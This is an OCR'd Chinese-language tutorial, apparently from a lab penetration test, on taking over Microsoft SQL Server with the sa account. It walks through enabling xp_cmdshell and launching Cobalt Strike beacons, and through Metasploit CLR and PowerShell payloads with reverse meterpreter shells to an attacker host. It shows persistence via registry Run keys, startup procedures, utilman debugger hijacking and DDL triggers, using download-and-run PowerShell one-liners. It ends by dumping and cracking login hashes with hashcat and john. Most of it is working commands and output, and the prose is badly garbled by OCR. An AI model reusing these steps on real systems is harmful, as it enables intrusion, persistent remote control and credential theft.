vx Microsoft SQL Server Management Studio

EEservername;
SELECT is srvrolemember ('sysadmin'):

select EEVERSIOH:

select count (®) from master..syscbjects where zxtype = 'x' and name = 'xp cmdshell';

master

madel

medb

tempdb
[# [ Database Snapshots
| eoyoo

Rﬂ:ﬂrtSauer
prortSa'uerTamﬂﬂ |
Emw - e e ey vt 2
& 4 Server Objects
& [3 Replication
# [3 Management
[ SOL Server Agent

« Microsoft SQL Server Management Studio

) New Query | Ly | £ 5 5 |y |5 W & |
; master - -

SQLQuery1sal ster (sa (54))*|

exec xp_ cmdshell 'whoami' ;

Mag 15281, Lewvel 16, State 1, Procedure xp cmdshell, Line 1
S¢L Server blocked access to procedure "sys_xp cmdshell' of component 'Xp cmdshell' because this component is turned off as




’-. Microsoft SQL Server Management Studio
File Edit WView Query Project Debug Tools Window Community Help

Pl NewQuery | [y [y 1 [ | [ |5 W I | ) g

82 333 | master - Veear b ® v 33 @[] BRGNS 2 EE G,
SQLQueryl.sgl ..ster (sa [54))*| - X
Connect = ;!j ;,': BT _i; IE}LEC sp configure 'show advanced options', 1;BRECONFIGURE:EXEC sp configure "=p cmdshell', 1;RECCHFIGURE: Ij
¥ [EE -
= Lj 192.168.4.2 (SQL Server 10,50, 1600 - 5a) exec xp cmdshell 'whoami':
= [ Databases _ILI
= [ System Databases 1] | 4
& | master [ Remits | 12
|J model |""j |
|J msdb output
| ) tempdb 1 || nt authority\system
[ Database Snapshots 2 | MWULL

|_:] eoyoo
| J) ReportServer
|l ReportServerTempDB

exec xp cmdshell 'cs powershell payload'; BRAREBEERTRGEH®S, MAEXRE system PR, BBRFHZ T , MHERRT cs i powershell payload, ZTNRB#fr ids RNARIFHIE  H
Z# ) beacon ERIEZ T IMAY, beacon £F, FEMNBRIEFLESHERS

IE1=-=2' Microsoft SQL Server Management Studio
File Edit WView Query Project Debug Tools Window Community Help

E-SA-NEWQUEW:DJIE_E#%%f&;ﬁg-ﬂ'ﬁﬁ

| 9 3 | master | Veeae b B v 35 (] 37 QRTINS 2 |EEN
| Object Explorer = A SQLQueryl.sqgl ..ster (sa [54}];] - X
Connect = 1‘!3! g; BT J B EXEC sp configure 'show adwvanced options', 1;RECONFIGURE;EXEC sp configure 'xp cmdshell', 1;RECONFIGURE:
= l_-l) 192,168.4.2 (SQL Server 10,50, 1600 - 5a) L exec xp cmdshell Ipcn.-»e shell.exe -nop -wW hidden -encodedcommand JABzADOATgBlAHcATQBEPAGIAagBlAGMAAARQAFE KATWA
= [ Databases
Bl [ System Databases
[:j master it
| model % | b
4 msdb 7 Resuts ||.j;: Messages |
| ) tempdb
[ Database Snapshots .uutput
[J eoyoo 1| nt authority‘system
| J ReportServer 2 NULL
|}l ReportServerTempDE

T, HiEF A xp_cmshell 3% beacon BYSIFRIR , &AMy, X th R 2B R THRR, LR PR BB IR B XN 77 £ % 2 JLETT, BIFELL AT AR, EELF14E system @)

DB G EZ6 s SPE BLBED Sa N

external linternal = user computer note pid last
Is 102.168.3.101 192.168.2.101 SYSTEM * WEBSERWER-IIST
u 192.168.3.118 192.168.3.118 openwbs WEBSERWER-IIS10 4192 G1lms
Kl 192.168.3.133 192.168.3.133 jack PC-JACK 2592 1ms

NSRRIk EEF T /2 xp_cmdshell $iiTap < ARG, LB B LEE A shell RERERIE, THH ps AT SIRNE R, K EERN BIRAMA mssql fkFSa% ip,sa 18, E EBirmssql RS B3N
JEH xp_cmdshell, RIFH I — ¥ H shell[ ALt 2 NMREHLAIIEM shell, RAT ERIEMRLRIAVRIER S EE X in B AR mssql #Y 1433 i 0 E X H A xp_cmdshell iFTME ], B, XA shell 2+
ZIPEE, LbaA, ps B9 shell[3E AT windows 2008r2 PU/FHIFR L], cmdshell [E AT windows £ 5], EREE L AVEMBEN sql shell Biel, i BALLHENT R, REFTHSHAXSEF[2R],
ARIHCZRE, B A CRARARRIMEHTE, MEEEEEBES xp_cmdshell XFEITHIT, BREFNEA, B HET KL shell MRRBRE USRI, tbin, Birmssql RFAAZRZ N system finfT, i
kH9 shell Z)Z network fXPR[mssql 2012 {B/REBIXFER], LT, BHFMANBER T, REFZEEBIMIsRVRE cmd THITIZHEIA, H48, (RO INE BT sockss IEEIAE#H X B #ARMNIT, RAT
X%, BRNIT T HERN KA KK, RAR ZME, LR AT




PS > Import-Module .\Execute-Command-MSSQL.ps1 MR B2 socks5 T, B IZXFEANZ A A RD o]
PS > IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Execution/Execute-Command-MSSQL.ps1')d1R 2 B irtles
W4T, BIWAXMIRENTT

PS > Execute-Command-MSSQL -ComputerName 192.168.4.2 -UserName sa -Password admin

Administrator: C:\Windows\system32\cmd.exe - C:\Windows\System32\WindowsPowershell|

i
D:\tools\scripts>C: \Windows\System32\WindowsPowerShell\v1l.08\powershell.exe -exec bypass Pl Rt oy e el

Windows Powershell 2o B oo | [ FE - kA | B @

Copyright (C) 289 Microsoft Corporation. All rights reserved. _ ar

| - [ Application [ Target [ Time/Status [ Rule : Proxy [ sent | Received

PS D:\tools\scripts> Import-Module .\Execute-Command-MSSQL.psl EX powershel exe =54 192, 168.4.2: 1433 00:18 powershel : 192. 168, 3.242: 1080 SOCKSS 958 1,43 KB

PS D:\tools\scripts> Execute-Command-MSSQL -ComputerName 192.168.4.2 -UserName sa -Password admin
Connecting to 192.168.4.2...

Enabling XP_CMDSHELL...

Do you want a PowerShell shell (P) or a SQL Shell (S) or a cmd shell (C): P

Starting PowerShell on the target..

PS 192.168.4.2> hostname

== connections J_llLTraffic %= Statistics

07.27 03:06:14] Ssms.exe - 192.168.4.2:1433 close, 914 bytes sent, 2047 b}ftes (1.55 KB) received, lfetime 00:27 _A_j
07.27 03:06: '”J Ssms.exe - 192.168.4.2:1433 open through prowxy 1:|z 168.3.242:1080 SOCKS5

[07 06:34] Ssms.exe - 192.168.4.2:1433 close, 1062 bytes (1.03 KB) sent. 754 bytes received, [fetime <1 sec

[07 06:34] Ssms.exe - 192.168.4.2:1433 open through proxy 'l:u 168.3.242:1080 SOCKSh

35] Ssms exe - 192 168 4 2:1433 close, 1240 bytes (1.21 KB} sent, 528 bytes received, lifetime 00:01

Starting PowerShell on the target.. [07.27 03:05:38] msoia ex= - nexusrules officeapps live com:443 open through prosy 192.168.3.242:1080 SOCKS5

[07.27 03:06: ﬂ.,J msoia exe - client-office 3654as msedge net:443 open through proxy 152.168.3.242:1080 SOCKS5

" : B " i [07.27 03:06:47] Sems.exe - 152.168.4.2:1433 open through prosgy 152.168.3 2421080 SOCKS5S

PS 192.168.4.2> ipconfig | findstr "IPv4 [07.27 03:06:52] msoia &xe - corfig 2dge skype.com:443 open through proxy 192.168.3.242:1080 SOCKSS

IPv4 Address. . . . ! 192.168.3.101 07 :06:53] meoia exe - nexusrules officeapps live .com:443 close, 1023 bytes sent, 4362 bytes (4.84 KB) received, ifetime 00:15
dd [07 3] msoia exe - config .edoe skype.com:443 close, 534 bytes sent, 14145 bytes (13.8 KE) received, lfetime 00:01

IPv4 Address. A n LIS | 3] msoia exe - client-office 3654as msedge net 443 close, 1040 bytes (1.01 KB) sent, 27018 bytes (26.3 KB) received, lfetime 00:0

0 E] Ssms.cxe - 152.168.4.2:1433 close, 914 bytes sent, 1334 bytes (1.30 KB) received. lfetime 00:29
[07 27 03:07:52] Ssms.exe - 192.168.4.2:1433 open through proxy 132, 168.3 242:1080 SOCKS5
07 27 03:08:17] Ssms exe - 152 168 4 2:1433 close, 13312 bytes (13.0 KE, sent, 605 bytes received, lifetime 00:25

0727 0 powershel exe 54 - 192, 160.4.2. 7] open through proogy 192, 160.3.242- 1000 SULRGS
EJ

] 3%’:2:7:3.12-1:”;:0 wershell exe "64 - 152.168.4.2:1433 close, 1361 bytes (1.32 KB) sent, 2405 bytes (2.35 KEB) received, lifetime 01:02
Starting PowerShell on the target.. 01727 (13:12-56] powershell exe “64 - 152 168 4,2-1433 open through proxy 192.168.3 242-1080 SOCKS5

PS 192.168.4.2> Ready 1 active connection |[Down 0 B/sec |Up 0 Bfsec |System DIMS

FEXETIREZEE) socks BRiE, http IEBRE S E HiZA Birtlar Lis, BRUIRERE L LA B 769 vpn AR G, RENF AL ER EFHENERGTE, £ msf FEL ATANIRMEF 7 X T mssql B9
FEROM FAER, ERER MR 7, KT A msf S BARAM mssql ARTHARRNARRM AR T, A EFEEVNHRVETERE R, L EE LRCELE 7 BARN—DTH sa BT ENMNHEE

B4 5 A mssql By CLR TIBE7E B ARt L SCEL B TTRINGT, IL 7775 mssql 2005-2012 B A, LM ERIRBLLEEN exp EHREL , —FEIENZE, BENRRK L DAL, payload hFHH L DL, IR
meterpreter RIVAZHRAEE, NI Z IR, i A F0 payload KF

mst > use exploit/windows/mssql/mssql_clr_payload

msf > set rhost 192.168.3.102

msf > set rport 1433

msf > set username sa

msf > set password admin

msf > set payload windows/x64/meterpreter/reverse tcp uuid payload F1BfRRFRIFITN
msf > set lhost 192.168.3.249

msf > set lport 110

msf > exploit

meterpreter > sysinfo



meterpreter > getuid

=
(gl
-

exploit( ) = exploit

Started reverse TCP handler on 192.168.3.249:110

192.168.3.101:1433 - Setting EXITFUNC to 'thread' so we don't kill SQL Server
192.168.3.101:1433 - |Database does not have TRUSTWORTHY setting on, enabling ...
192.168.3.101:1433 Database does not have CLR support enabled, enabling ...
192.168.3.101:1433 - |Using version v3.5 of the Payload Assembly
192.168.3.101:1433 - |Adding custom payload assembly ...

192.168.3.101:1433 - |[Exposing payload execution stored procedure ...
192.168.3.101:1433 Executing the payload ...

192.168.3.101:1433 - Removing stored procedure ...

192.168.3.1601:1433 Removing assembly ...

192.168.3.101:1433 Restoring CLR setting ...

192.168.3.101:1433 - Restoring Trustworthy setting ...

Sending stage (205891 bytes) to 192.168.3.101

Meterpreter session 1 opened (192.168.3.249:110 -> 192.168.3.181:51583) at 2018-07-27 19:09:01 +08006

Wl W Ww W W
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meterpreter > sysinfo
Computer : WEBSERVER-IIS7

0s : Windows 2088 R2 (Build 7601, Service Pack 1).
Architecture 1 x64

System Language : en_US

Domain : WORKGROUP

Logged On Users : 1

Meterpreter : x64/windows

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter =

LM, R FENRRE CEERAE, BT A mssql_exec HMRXMFIZER TS B2 UM, ERNLTRARK[ ARIEZIL < EE| i H R mssql B9 xp_cmdshell FXHIT]. ..
msf > setg Proxies socks5:192.168.3.242:1080

msf > setg ReverseAllowProxy true

msf > use auxiliary/admin/mssql/mssql_exec

msf > set rhost 192.168.4.2

msf > set username sa

msf > set password admin
msf > set cmd ipconfig /allBRARERELEEBMNITRG <, BETRETHNEERTUFEZ T, MREBNIELT, B rdp, FMNEER, FBUIMRTHZXED, EE B . . . BRFETHEETEE

msf > run

msf > setg Proxies socks5:192.168.3.242:1080

Proxies => socks5:192.168.3.242:1080

msf > setg ReverseAllowProxy true

ReverseAllowProxy == true

msf > use auxiliary/admin/mssql/mssql_exec

msf auxiliary( } > set rhost 192.168.4.2
rhost => 192.168.4.2

msf auxiliary( ) = set username sa
username => sa

msf auxiliary( ) = set password admin
password => admin

msf auxiliary( ) » set emd|ipconfig fall
cmd => ipconfig /fall

msf auxiliary( } = run

192.168.4.2:1433 - SQL Query: EXEC master..xp_cmdshell 'ipconfig /all'

Windows IP Configuration

Host Name . . . . . . . & & &« o« .« t|WebServer-IIS7
Primary Dns Suffix 2

Node; Type & o e B e & s sy o g
IP Routing Enabled. . . . . . . . : Yes
WINS Proxy Enabled. . . . . . . . : No

: Hybrid

Ethernet adapter Local Area Connection 4:

Media State . . . . . . . . . . . ! Media disconnected
Connection-specific DNS Suffix

Description . . . . . . . . . . . : TeamViewer VPN Adapter
Physical Address. . . . . . . . . : @0-FF-EF-71-C5-5F

DHCP Enabled. . . . . . . . . . . : Yes

Autoconfiguration Enabled . . . . : Yes

&E, ettt iRE S mssql_payload iR T , HE&E L Hirmssql UG, S BaIF15 L& FFH#117 payload [payload KE!0] |);& powershell =3 exe], /55 [E meterpreter, RER, X—VIEHFEZTE




R EIRBINE TR, LRIEL T REZ, /RAY payload NI — E RSB XN TT RGN T, HEFBAMTF — =, LETNERE L DEME, MEZNMTHNES RN, FEFEIZRRLFE nssql ERARBR,
T —EREHIPNAMN, TENAAERXLE, FEERS, T8, KEFERMAT

mst > use exploit/windows/mssql/mssql_payload

msf > set rhost 192.168.3.101

msf > set username sa

msf > set password admin

msf > set method ps It4FAAY powershell payload, BRASHEALHIT, (ELFRE RN RBE—K

msf > set payload windows/x64/meterpreter/reverse_http

msf > set lhost 192.168.3.249

mst > set lport 8080

mst > exploit

~h|

exploit exploit

Started HTTP reverse handler on http://192.168.3.249:8080

192.168.3.1681:1433 - Warning: This module will leave caonMVMS.exe in the SQL Server %TEMP% directory
192.168.3.101:1433 - Uploading the payload caonMVMS, please be patient...

192.168.3.101:1433 - Converting the payload utilizing PowerShell EncodedCommand...

192.168.3.101:1433 - Executing the payload...

192.168.3.101:1433 - Be sure to cleanup caonMVMS.exe...

http://192.168.3.249:8080 handling request from 192.168.3.101; (UUID: eejknxng) Staging x64 payload (206937 bytes) ..
Meterpreter session 2 opened (192.168.3.249:8080 -> 192.168.3.101:52511) at 2018-07-27 20:22:44 +0800
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% ¥ ¥ % ¥ ¥ ¥ %

meterpreter > sysinfo
: WEBSERVER-IISY

: Windows 2008 R2 (Build 7601, Service Pack 1).
T X64

System Language : en_US

Domain : WORKGROUP

Logged On Users : 1

Meterpreter : x64/windows

meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > |

ox04 {gBhmssql KiGHfEAEIFE IR -> FEER " LEMRES TR T A A
HERY EENERE, LNR, NIZEE2LE 7 Bir & system AXFRAY mssql Hl=%, h T REILBCHNRENARR AR, BMNEEMLEHENE RGNS HHEFT T, YAN, X TEZHNEFR
windows M2 RIIN R 4+ 15, FEEIA B A 2RI ETESK 20157 B, LA {Xth R 2 e B HR

1) B mssql BENEMEEIERET

B, Halid xp_regwrite FEEE[TUTTHEREIMER, AN, FIRRENREEEBAT]IEARELNE B3IE]
# powershell -nop -exec bypass -C "IEX (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.psl"');Get-SQLPersistRegRun -Verbose -Name GoogleUpdatePlugin

-Command 'c:\windows\temp\GoogleUpdatePlugin.exe' -Instance "webserver-iis7



[z Administrator: G\Windows\system32\cmd.exe

C:\>powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.ca

tSPI/PowerUpSQL/master/PowerUpSQL.psl’ ) ;Get-SQLPersistRegRun -Verbose -Name GoogleUpdatePlugin -Command 'c:\windows
\GoogleUpdatePlugin.exe' -Instance "webserver-iis7""
: webserver-iis7

Connection Success.

Attempting to write yvalue: GoogleUpdatePlugin

Attempting to write command: c:\windows\temp\GoogleUpdatePlugin.exe
Registry entry written.

Done.

: webserver-iis7
: webserver-iis7
: webserver-iis7
: webserver-iis7

# reg query HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run It Bs1Il, JL A LM, MESRRBGXBEHBERALERIE, T, TEFBRUETFEEAEBXIL, BHH
‘EE:
C:\>reg query HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run

HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run
VMware User Process REG_SZ "C:\Program Files\VMware\VMware Tools\vmtoolsd.exe" -n vmusr

GoogleUpdatePIugin REG_SZ ¢ : \windows\temp\GoogleUpdatePIlugin.exe |

C:\>

HBEAVEEFRERER, JIUER, BCH beacon ELXEFEXT

Cobalt Strike View Attacks Reporting Help

B0 O EH=Z¢ B8ELPLU GeBEN fa B
external internal = user computer note pid last
Tis 192.168.3.101 192.168.3.101 Administrator *

a -

| Event Log X | Listeners X

narme payload host port beacons

mssql windows/beacon_https/reverse_https 192.168.2.240 443 102.168.3.249

HOR, i 2181d sp_procoption 7RI FERSIINAYE B M AR 44, X2 — PR mssql fRES BRIRHEESSIHITHFEERE, E2F B, BTN IRIEE S/ payload R BE|E %k, X REBIREX
—& jg mssql frR%, F{189 payload MM Z H1T—RK



@ ™ @ payload Generator

? This dialog generates a payload to stage a Cobalt Strike
listener. Several output options are available.

Listener: !mssql - Add
| [add.]

x64: [l Use x64 payload

|. Generate || Help |

A7 By Lk e)@, L ANE 2 B B 2 HARl28 X1

# powershell -exec bypass

# IEX (New-Object
Net.WebClient).DownloadString('https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Persist-StartupSp.psml')

# Invoke-SqlServer-Persist-StartupSp -Verbose -SqlServerlInstance "WebServer-IIS8" -PsCommand "IEX(new-object
net.webclient).downloadstring( 'http://192.168.3.250/regmssql.psl1"')"

C:\>powershell -exec bypass
Windows PowerShell
Copyright (C) 2013 Microsoft Corporation. All rights reserved.

PS C:\> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/nullbind/Powershelle
le-ish/MSSQL/Invoke-SqlServer-Persist-StartupSp.psml’)

PS C:\> Invoke-SqlServer-Persist-StartupSp -Verbose -SqlServerlInstance "WebServer-IIS8" -PsCommand "IEX(new-ob
lient).downloadstring( 'http://192.168.3.250/regmssql.ps1')"

[*] Attempting to authenticate to WebServer-IIS8 as the current Windows user...
[*¥]  Connected.

[*¥] Confirmed Sysadmin access.

[*] Enabling 'Show Advanced Options', if required...

[¥] Enabling 'xp _cmdshell', if required...

[*¥] Checking if service account is a local administrator...

[#¥] The service account LocalSystem has local administrator privileges.

[*]|Creating a stored procedure to run PowerShell code...
[*]|Startup stored procedure sp add pscmd added to run provided PowerShell command. |
[¥] sp_add osadmin will not be created because NewOsUser and NewOsPass were not provided.

[¥] sp_add sysadmin will not be created because NewSqlUser and NewSqlPass were not provided.
[¥] All done.

PS C:\>

B Z mssql fR%



# net stop mssqglserver

# net start mssqlserver

PS C:\> net stop mssqlserver
The following services are dependent on the SQL Server (MSSQLSERVER) service.
Stopping the SQL Server (MSSQLSERVER) service will also stop these services.

SQL Server Agent (MSSQLSERVER)
Do you want to continue this operation? (Y/N) [N]: y

The SQL Server Agent (MSSQLSERVER) service is stopping....
The SQL Server Agent (MSSQLSERVER) service was stopped successfully.

The SQL Server (MSSQLSERVER) service is stopping.
Server (MSSQLSERVER) service was stopped successfully.

net start mssqlserver
Server (MSSQLSERVER) service is starting.
Server (MSSQLSERVER) service was started successfully.

PS C:\>

JINEE, YRS ERBMNE, B AR payload BI#iNFT, FE/EEEE beacon IEH L%

Cobalt Strike View Attacks Reporting Help

BE O EH=¢ BELPLU GTewBEH o B§G

external internal = user computear note pid last
Bl 192.168.3.101 192.168.3.101 Administrator * WEBSERWVER-IST 5776 25
TH. 192.168.3.108 192.168.4.8 SYSTEM* WEBSERVER-ISS 257, 305

BRARER

Eban, KEPr#VAIRY shift f[5{ ] [sethc.exe], M KEE/E [T [magnify.exe], BEE BRI [osk.exe], A AJF[T[narrator.exe], ¥ BREE/G][displayswitch.exe], [AtBroker.exe]fHBIEIE T ER]
[utilman.exe]...H X, FMAXRRLEEH—H, TEREEERNEFESERE[ SR, OERTHMNEXSFZTHEITTAR], LAFEITE X utilman. exe AHIIREI R E IR
# powershell -nop -exec bypass -C "IEX (New-Object

Net.WebClient).DownloadString('https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.psl');Get-SQLPersistRegDebugger -Verbose -FileName utilman.exe

-Command "c:\windows\system32\cmd.exe" -Instance "webserver-iis7



C:\>powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.co
¢ : \windo

tSPI/PowerUpSQL/master/PowerUpSQL.psl") ;Get-SQLPersistRegDebugger -Verbose -FileName utilman.exe -Command
stem32\cmd.exe" -Instance "webserver-iis7""

VERBOSE: webserver-iis7 : Connection Success.

VERBOSE: webserver-iis7 : Attempting to write debugger: utilman.exe

VERBOSE: webserver-iis7 : Attempting to write |[command: c:\windows\system32\cmd.exe

VERBOSE: webserver-iis7 : Registry entry written.

VERBOSE: webserver-iis7 : Done.

C:\>

XEEZESER T cnd.exe, ELR T I EEH 4 powershell.exe,bat FFTFRIRECH D, MIKLH B EMEE, MEEHRTENBEAI exe

" Registry Editor
File Edit View Favorites Help

- ICM || Name | Type | Data
Bl J Image File Execution Options ab| (Default) REG_SZ (value not set)
i DilNXOptions ab|pebugger REG_S7 | cwindowslsystem32\omd.exe |

W, EAZEREE X, BRNZ win + u BIENAERINEIAIEHRE cnd. exe, THUEESR, SRR L R LKA RIFRE IR THRE EEOBEX LRI T, T8 AR HBIL MR EREITARIE

[&+] Administrator: c\windows\system32\cmd exe

Microsoft Windows [Uersion 6.1.76011
Copyright <(c?> 2887 Microsoft Corporation. All rights reserved.

C:sUWindowsssystem3d2>whoami
nt authorityssystem

C:s\UWindowsNsystem3d2>hostname
WehServer—II57

C:sWindowsNsystem32>_

administrator
X

Reset password...

3) &fE, MR ZIHF A mssql it & a5 RLIFHLRNER , BASM A R, BEHARBIERZ M xp_cmdshell FHIAH1T payload, hEt 2t , 1T 5 )/a A xp_cmdshell F 17

Invoke-SqlServer-Persist-TriggerDDL.psml MIAR R =8 ER DOL FIE[ LN, EER2EHS, BUERVIEMNE ], R infT, EAIREN T, B, 1 7 REEZ MR, £ 2R W EZA Birlar Lis

C:\>powershell -exec bypass



PS > IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/NetSPI/PowerShell/master/Invoke-SqlServer-Persist-TriggerDDL.psml")

PS > Invoke-SqlServer-Persist-TriggerDDL -Verbose -SglServerInstance "webserver-iis8"

net.webclient).downloadstring( 'http://192.168.3.250/regmssql.psl1"')"

PS > Invoke-SqlServer-Persist-TriggerDDL -Verbose -SqlServerInstance "webserver-iis8" -Remove

EX Administrator; Windows PowerShell

C:\>powershell -exec bypass
Windows PowerShell
Copyright (C) 2013 Microsoft Corporation. All rights reserved.

PS C:\> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/NetSPI/PowerShell/ma
1Server-Persist-TriggerDDL.psml")

PS C:\> Invoke-SqlServer-Persist-TriggerDDL -Verbose -SqlServerInstance "webserver-iis8" -PsCommand "IEX(new-
client).downloadstring( http://192.168.3.250/regmssql.psl1')"

Attempting to authenticate to webserver-iis8 as the current Windows user...

Connected.

Confirmed Sysadmin access.

Enabling 'Show Advanced Options’', if required...

Enabling 'xp_cmdshell', if required...

Checking if service account is a local administrator...

The service account LocalSystem has local administrator privileges.

Creating encoding PowerShell payload... |

Payload generated.

Note: No OS admin will be created, because the parameters weren't provided.

Note: No sysadmin will be created, because the parameters weren't provided.

Creating trigger...

The evil ddl trigger trigger has been added.

All done.

—
*

]
]
]
]
]
]
1
]
]
]
]
]
]
]

(g

create database TriggerDDL

-PsCommand

"IEX(new-object



el SCLQueryl.sql - WEB...(53)) Executing..” X

onnect~ 44 M) w T F] A
= WEBSERVER-158 (5CL Server 11.0.2100 -
El 3 Databases
[ 4 System Databases
[ [ Database Snapshots
=] openwes
# 1 Database Diagrams
@ 3 Tables
= 3 Views
L Synonyms
# 1 Programmability
3 Service Broker
[ Storage
[ Security
# [ Security
F 3 Server Objects
= [ Replication
& [ AlwaysOn High Availability
[ Management
# [ Integration Services Catalogs
[ SOL Server Agent (Agent XPs disabl

create database TriggerDDL;

M EBFHAEER, AT T — create BIEZ/G, FANH payload HHIT T — K, BELBRUTEHMSE T ,ERZHNITT create AEBEMA K, MEFAREEE LERER ? HEL, AR, HARS EE—&

5 BB Bk SRR 1R [ RIFTIBAY DDL iE5) ], B3 U B M B LB X 1REE, SR EMEREM AR RITFNE, ERROSBHRERNME), TR EZE LRIV ESHFR, BR alter — THHIBEN, AT IALEXRT]
AABLESR E4% e

internal =

external ) las
182.168.3.101 192.168.3.101 Administrator * WEBSERWVER-IISY 5776 a5

192.168.2.108 192.168.4.8 SYSTEM * “WEBSERVER-IISE 2064 375
182.168.3.108 192.168.4.8 SYSTEM * “WEBSERWER-IISE
WEBSERWVER-IISE

user computer

ox05 —RRIMETE -> REEE mssql Yl P& RIKSED hash, AREYT KA MR ETAMEE

BB socks5 IEARMAY msf 2 BArAM G, T2 S H BARAM mssql Hla% A8 BIREKSME hash, BEESERELECNERANOMAES




msf > set password admin

msf > run
msf5 auxiliary( ) = run

[*] 192.16
[+] 192.
[+] 192.
[+] 192.
[+] 192.:
[+] 192.

.101:1433 Instance Name: nil

5a:0100fbad975ab62293bb5c9fde61e7bef30be995276CcA5e4e05C

##MS PolicyEventProcessinglogin##:01003c6147503728b47d586df1al1a7ced162155b42aa576b586a
##MS PolicyTsglExecutionlLogin##:01004a592a53a290a1372cal16117d7c704726dea7300ade24fc4

.101:1433 Saving mssqles
.101:1433 Saving mssqles
.101:1433 Saving mssqles
.101:1433 Saving mssql@s kali:010060f51calbleeaed625e94840c55ecd9deccO®3c23aabeaes?
.101:1433 Saving mssqles suse:0100280c578d1bAca2360615ee3b2a019dbdas307e909a42517a
[+#] 192. .101:1433 Saving mssqles demo:0100f0c9%ec166e846039e94c9ce1b88fcb49821cd5176633Fdeb

[+] 192. .101:1433 Saving mssqlO5 =|EvilUser:0100205761f9f674c53fa6236b96980ab392c5f939e93260790f
h

Wl W W W W

[+] 192.: .101:1433 Saving mssql@s myuser:010062f5fbd9280e6026e78aeB8a28666a7594Ff7fbb4b2fcdd4ba
[#*] 192.168.3.101:1433 scanned 1 of 1 hosts (160% complete)

[#] Auxiliary module execution completed

msf5 auxiliary( ) = |

JIRME ZHEE)WE , 3T mssql (A P hash &%, R R LN FTEY hash B S, TTREA K IFE [ E W, (FIEE R ILER], IRNBEHMRAEEBC T, AEHF RN, BAFHNERLT, BESHE hashcat, )8 Fx—, A
—RERT sa WEBEAAKZERERN—F, RENEIE SR, BN AR IEZEN RS, HilL T ,hashcat K53 mssql XM hash EEMUHNRELZIEEH T

https://hashcat.net/hashcat/  BJ77 FEML, 1R E windows Bk FHE HHFHFHZHFIXHHRTT, MR AR, 7 linux TR EFREHRAR, BEF LHFEE RIKsNH hashcat, XERAKEE, UEFEHE
V=HEIgH

Download

Hame : Yerzion : Date . Download - Signature
| hashcat binaries [ vt 1.0 | 2015.02.21 | Download Toa |

[ Issheat woirees | w4 1.0 | 201802, 21 ' '

# hashcat64.exe hash.txt -m 132 -a 3 ?1?1?1?1?1 HCHssH— 46 NRFBELB R, TUEE, W TFXMEE, BEAZTHA, A5, IEFIET mssql 05 12 WERXE I A —1£A9,mssql 2008r2
AT HIARAS , 3% mssql (2005) BT, ~ jEh91%E#F mssql12

0x0100fb0d975ab62293bb5c9fde6leThef30be995276c05e4e05¢c :admin

Session..........: hashcat
abatls coissnie e . Cracked
ash. Type........: MSSQL (2005)
ash. Target......: 0x0100fb0d975ab62293bb5c9fdebleTbef
e. Started. ....: Sat Jul 28 16:45:38 2018 |(1 sec)
. Estimated...: Sat Jul 28 16:45:39 2018 [(0 secs)
: 2 2121212171 [a]

@ Accel: 64 Loo.j

10ﬂ GGWF Dlg.d {; 1/1 (100.00%) Se
37 ’11” 1376 (50. 19%)

Restore. Point. ... :
Candidates. #1.... :
HWMon. Dev. #1..... : mp: blec Fan: 39% Util: 86% Core:1032MHz Mem:2505MHz Bus:16

2018
2018




MRIRE IR john, AR RE B AT Kt —#H
http://www.openwall.com/john/ B 77 MM, FACHEIRFEM XIB5R AR

Download the latest|{community-enfhianced version (release notes, patch to build 1.8.0-jumbo-1 on non-x&6):|

e Latest development source code in GitHub repository (tar.gz, ZIP)

e John the Ripper 1.8.0-jumbo-1 (sources, tar.xz, 23 MB) and its signature

« John the Ripper 1.8.0-jumbo-1 (sources, tar.qz, 30 MB) and its signature

e John the Ripper 1.8.0-jumbo-1 (Windows binaries, ZIP, 34 MB)|and its signature

# john --list=formats & F john Fr ¥ FTH hash K8

# john --wordlist=password.lst --format=mssql@5 hash.txt EAZEHIEANIRIATH, A, TR EHIEFELR

D:\ToolKit\ john180jlw\run>john —wordlist=password. 1st —format=mssql05 hash. txt
Loaded 1 password hash (mssql05, MS SQL 2005 [SHA1 128/128 SSSE3 4x])
Warning: no OpenMP support for this hash type
' or Ctrl=C to abort, almost any other kev for status
(sa) |
10 0:00:00:00 DONE f”ﬂlw 07-28 16:51) 500.0

g/s 1412Kp/s 1412Ke/s 1412KC/s abbott..adminl
Use the "—show” option to display all of the Cldﬂhﬂd passwords reliably
Session completed

—RING

E AL, KT mssql ENEMAFIRERZEAZUYT T, HAM, UXIKE mssql EMMNFBIZIFETI, EXEFIFE L, ZIEHHRMNBRRBIEN, A, L ABENREFHERZLEZETNRA, RARE,
BHEREGRTHA—ERALH, X TEREN windows NEREFFTTE, B ABONRENLNED, EEBAENRRFEAN, FLRLTEMIRE T, WA CEERBREXT nssql 3 TARBFAT A, B
ARFILERAE, ARMAEHELLBRAL T, EAMAEATERFTEZL MR, A, B EENEELES AN, TS EZET T, KKER nsf {550 1&, T meterpreter B seRI=MB)A, £H,
ANEUL AR T, REAEMER sa, RIFKR EE—1F, 7 abptts TERIRIEHHT T, IHEMNTERE, MRIRECLLRIMEERT socks LA T B3R BArA MG, HFH socks B9 5 K, ¥R, E
ML FFNETE, LR EHERADBENEB, LR EXTERFHEIENMARNANA, BMNZ2TdNECE, IHEESEMNRERE, #7,5 RGN XER, 372 H 5 Ha0)@#3, KRBk
Ris, WERHELE, Bl '&fa, TR liFiE! )

{£# : klion



